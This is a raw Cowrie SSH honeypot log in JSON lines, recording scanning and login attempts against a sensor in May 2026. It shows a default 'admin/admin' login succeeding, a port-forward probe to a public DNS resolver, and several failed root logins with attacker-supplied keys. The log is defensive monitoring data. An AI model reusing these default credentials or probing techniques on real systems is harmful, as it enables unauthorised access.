{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:09.076917Z","src_ip":"8.218.166.49","session":"d64505211e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:09.547254Z","src_ip":"8.218.166.49","session":"d64505211e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33742,"dst_ip":"10.17.0.5","dst_port":22,"session":"fda618e065ff","protocol":"ssh","message":"New connection: 87.251.64.176:33742 (10.17.0.5:22) [session: fda618e065ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:15.630421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:15.636126Z","src_ip":"87.251.64.176","session":"fda618e065ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:15.732912Z","src_ip":"87.251.64.176","session":"fda618e065ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:16.023103Z","src_ip":"87.251.64.176","session":"fda618e065ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:16.121779Z","session":"fda618e065ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:16.221997Z","src_ip":"87.251.64.176","session":"fda618e065ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:16.325138Z","src_ip":"87.251.64.176","session":"fda618e065ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48940,"dst_ip":"10.17.0.5","dst_port":22,"session":"dccfb8bac0b6","protocol":"ssh","message":"New connection: 8.218.166.49:48940 (10.17.0.5:22) [session: dccfb8bac0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:21.157023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:21.162458Z","src_ip":"8.218.166.49","session":"dccfb8bac0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:21.976318Z","src_ip":"8.218.166.49","session":"dccfb8bac0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34162,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eb854dbb086","protocol":"ssh","message":"New connection: 8.218.166.49:34162 (10.17.0.5:22) [session: 1eb854dbb086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:31.710811Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34164,"dst_ip":"10.17.0.5","dst_port":22,"session":"24a123fce5d2","protocol":"ssh","message":"New connection: 8.218.166.49:34164 (10.17.0.5:22) [session: 24a123fce5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:37.600209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:37.604982Z","src_ip":"8.218.166.49","session":"24a123fce5d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60398,"dst_ip":"10.17.0.5","dst_port":22,"session":"5700c86bc078","protocol":"ssh","message":"New connection: 8.218.166.49:60398 (10.17.0.5:22) [session: 5700c86bc078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:57.315295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:57.453740Z","src_ip":"8.218.166.49","session":"5700c86bc078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:58.383553Z","src_ip":"8.218.166.49","session":"5700c86bc078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.207.172","src_port":33080,"dst_ip":"10.17.0.5","dst_port":22,"session":"6332667d6b38","protocol":"ssh","message":"New connection: 62.210.207.172:33080 (10.17.0.5:22) [session: 6332667d6b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:06.295713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:06.309510Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:06.397505Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:e4:57:c2:cf:d4:2f:2c:ff:1c:4b:b5:d2:81:2a:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOjyNxM6yNtsLiUeKa8ei0UCcmB279UGA3+LzxHMn8Bxkymkhtz+3l3sw1Bw3KXTHlRaE8ph/OomAQ4Sm8veR1bCJJOnzACV4N51vQYRredruEE3eAIFo5+C//84N0Q0z0DWWeZbaADMtgB35R45hRSaEKnHEgd79Xa1G2992JzaUSSWKCetWuFEVmUXWHGceNuU1oETRUknVFrRP6YwBmkd4B8JeU8esPnQscJSYHNr+2j/IYPBdQw7uFFMzkOqTkPsSefwvPlmOQbd/EBioXFKNSupnmVb03POb3qPdbwFEz/R3bPaxGn+aiEpwhabeQvYOWgeRzN1TprOBYKC69","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:e4:57:c2:cf:d4:2f:2c:ff:1c:4b:b5:d2:81:2a:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:06.804717Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:e4:57:c2:cf:d4:2f:2c:ff:1c:4b:b5:d2:81:2a:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOjyNxM6yNtsLiUeKa8ei0UCcmB279UGA3+LzxHMn8Bxkymkhtz+3l3sw1Bw3KXTHlRaE8ph/OomAQ4Sm8veR1bCJJOnzACV4N51vQYRredruEE3eAIFo5+C//84N0Q0z0DWWeZbaADMtgB35R45hRSaEKnHEgd79Xa1G2992JzaUSSWKCetWuFEVmUXWHGceNuU1oETRUknVFrRP6YwBmkd4B8JeU8esPnQscJSYHNr+2j/IYPBdQw7uFFMzkOqTkPsSefwvPlmOQbd/EBioXFKNSupnmVb03POb3qPdbwFEz/R3bPaxGn+aiEpwhabeQvYOWgeRzN1TprOBYKC69","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:06.808600Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:67:39:6b:3d:f9:cc:7c:dc:12:fd:c8:f9:ea:07:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzdpxbKM7XQu0exce+9OOE7MQEB2rJPSulpkYIvNDj7NBmBM6FuyHpGl8HKzVOcnPxl2fzHUQAGE3zu217cXHyA3MbhyzSYFO9RB+LG/VapbN3Uoz1sncWPYFaAeyrnKBBkAqt9KyEexrqRwCJCpDRVV+/0WMez992SKtq4QELYjJlS3tmr4+oB3kNUmv8RZchBSY1rKGm7yCAtXd/obBe4rfG2cUb8J/9g3Ts8Si19ZgOq21tJqFuoQuvDFf7qPED2im7TIE56aopoZxcfedhCF+YdWDyBVK83fcCOzEmNZdEpzQ/rDyuNBQWvWnOklHJ56GCkFja7BlSIzttnPlew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:67:39:6b:3d:f9:cc:7c:dc:12:fd:c8:f9:ea:07:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:06.890778Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:67:39:6b:3d:f9:cc:7c:dc:12:fd:c8:f9:ea:07:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzdpxbKM7XQu0exce+9OOE7MQEB2rJPSulpkYIvNDj7NBmBM6FuyHpGl8HKzVOcnPxl2fzHUQAGE3zu217cXHyA3MbhyzSYFO9RB+LG/VapbN3Uoz1sncWPYFaAeyrnKBBkAqt9KyEexrqRwCJCpDRVV+/0WMez992SKtq4QELYjJlS3tmr4+oB3kNUmv8RZchBSY1rKGm7yCAtXd/obBe4rfG2cUb8J/9g3Ts8Si19ZgOq21tJqFuoQuvDFf7qPED2im7TIE56aopoZxcfedhCF+YdWDyBVK83fcCOzEmNZdEpzQ/rDyuNBQWvWnOklHJ56GCkFja7BlSIzttnPlew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:06.894925Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:0f:23:67:6e:a3:fa:92:e4:37:84:02:e4:2d:75:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw98xvvufivSgDRznWQTGbEDQabwTm/CInSBVhDOQyvrvbPyVxGveBahvR1nPNBXgp173ATI6Gix4TaVArOK1UEIvo3jEeDBlFAUMQS/y7XiW+SBPLxUxUdLQdyfPT7RAmRPd4fCqr1j4v3AgMcL2dW3sW+JKfJ3qTBk2N5GZv6a13Xvhh1FXgXaJ1E4uuULtZUYp5nRK+mtXzmPw0JlsjNzH00nSwJuaMS8SKVtqEp42cxLmu3X50TLHX0f+1giOmlXWzJQaBYDzNW5wkgTkAtQ3llivdBtSfG5Uf4JocJeAjJ7qXbCxSibntMoOa7Nn1epXtvjJuPaR3E0Iz+TZ5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:0f:23:67:6e:a3:fa:92:e4:37:84:02:e4:2d:75:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:06.977120Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:0f:23:67:6e:a3:fa:92:e4:37:84:02:e4:2d:75:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw98xvvufivSgDRznWQTGbEDQabwTm/CInSBVhDOQyvrvbPyVxGveBahvR1nPNBXgp173ATI6Gix4TaVArOK1UEIvo3jEeDBlFAUMQS/y7XiW+SBPLxUxUdLQdyfPT7RAmRPd4fCqr1j4v3AgMcL2dW3sW+JKfJ3qTBk2N5GZv6a13Xvhh1FXgXaJ1E4uuULtZUYp5nRK+mtXzmPw0JlsjNzH00nSwJuaMS8SKVtqEp42cxLmu3X50TLHX0f+1giOmlXWzJQaBYDzNW5wkgTkAtQ3llivdBtSfG5Uf4JocJeAjJ7qXbCxSibntMoOa7Nn1epXtvjJuPaR3E0Iz+TZ5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:06.981122Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:9c:3c:43:07:66:39:20:30:6e:5b:21:67:5e:32:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEApPpDo5PKCv1jbr0WL2JvsCtoekLbTGurcdwsVxohHTfyGcC+IPsFJd/tgzTfOgFyyxQCho8joRpJFIwtW57n05XKytzx/czJK+jVIyPc0jUM9EFrns9Jm6kvjauM308UFAph0GlLd0BtFDfKTvpnt4yY9MhsNUbuvRWyMhPoz+U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:9c:3c:43:07:66:39:20:30:6e:5b:21:67:5e:32:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:07.074383Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:9c:3c:43:07:66:39:20:30:6e:5b:21:67:5e:32:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEApPpDo5PKCv1jbr0WL2JvsCtoekLbTGurcdwsVxohHTfyGcC+IPsFJd/tgzTfOgFyyxQCho8joRpJFIwtW57n05XKytzx/czJK+jVIyPc0jUM9EFrns9Jm6kvjauM308UFAph0GlLd0BtFDfKTvpnt4yY9MhsNUbuvRWyMhPoz+U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:07.078223Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:ba:b7:1f:ed:34:b9:21:5e:57:da:99:89:0f:37:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH8kverFZzt9j7+tR43POu5IKM/FDJl+gcONJkQj0ffI4F2GRPGZR+NDasukhwR16bK6DqGNiI0aj1TopjlLLUpvGfDrM2PllyLc3QwFlBWBk7oCcwYXKjWa69OudZucm2VKe/LfG3/b14goj1MicfE0yAErIcp4wJoc0Fat7LanfkrAszW46NNX8xZFuuXUHMtGySF/wd7wG0ZUx66n5NOgT2zDa8hxYB1x02ySJsVdq6jaPrhO/Hylt83x3TRsQRInjEJ42ROsgk111sKnDs6m5RE+6+N5rlC9LjZ3FYj6MbdO+g9lkHSVqLQmsgsChnkSBPlZovy0kKdhZy03in","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:ba:b7:1f:ed:34:b9:21:5e:57:da:99:89:0f:37:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:07.167277Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:ba:b7:1f:ed:34:b9:21:5e:57:da:99:89:0f:37:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH8kverFZzt9j7+tR43POu5IKM/FDJl+gcONJkQj0ffI4F2GRPGZR+NDasukhwR16bK6DqGNiI0aj1TopjlLLUpvGfDrM2PllyLc3QwFlBWBk7oCcwYXKjWa69OudZucm2VKe/LfG3/b14goj1MicfE0yAErIcp4wJoc0Fat7LanfkrAszW46NNX8xZFuuXUHMtGySF/wd7wG0ZUx66n5NOgT2zDa8hxYB1x02ySJsVdq6jaPrhO/Hylt83x3TRsQRInjEJ42ROsgk111sKnDs6m5RE+6+N5rlC9LjZ3FYj6MbdO+g9lkHSVqLQmsgsChnkSBPlZovy0kKdhZy03in","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:07.171013Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:07.266703Z","src_ip":"62.210.207.172","session":"6332667d6b38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.37.251","src_port":42750,"dst_ip":"10.17.0.5","dst_port":22,"session":"f780168ed9fc","protocol":"ssh","message":"New connection: 68.235.37.251:42750 (10.17.0.5:22) [session: f780168ed9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:13:09.394271Z"}
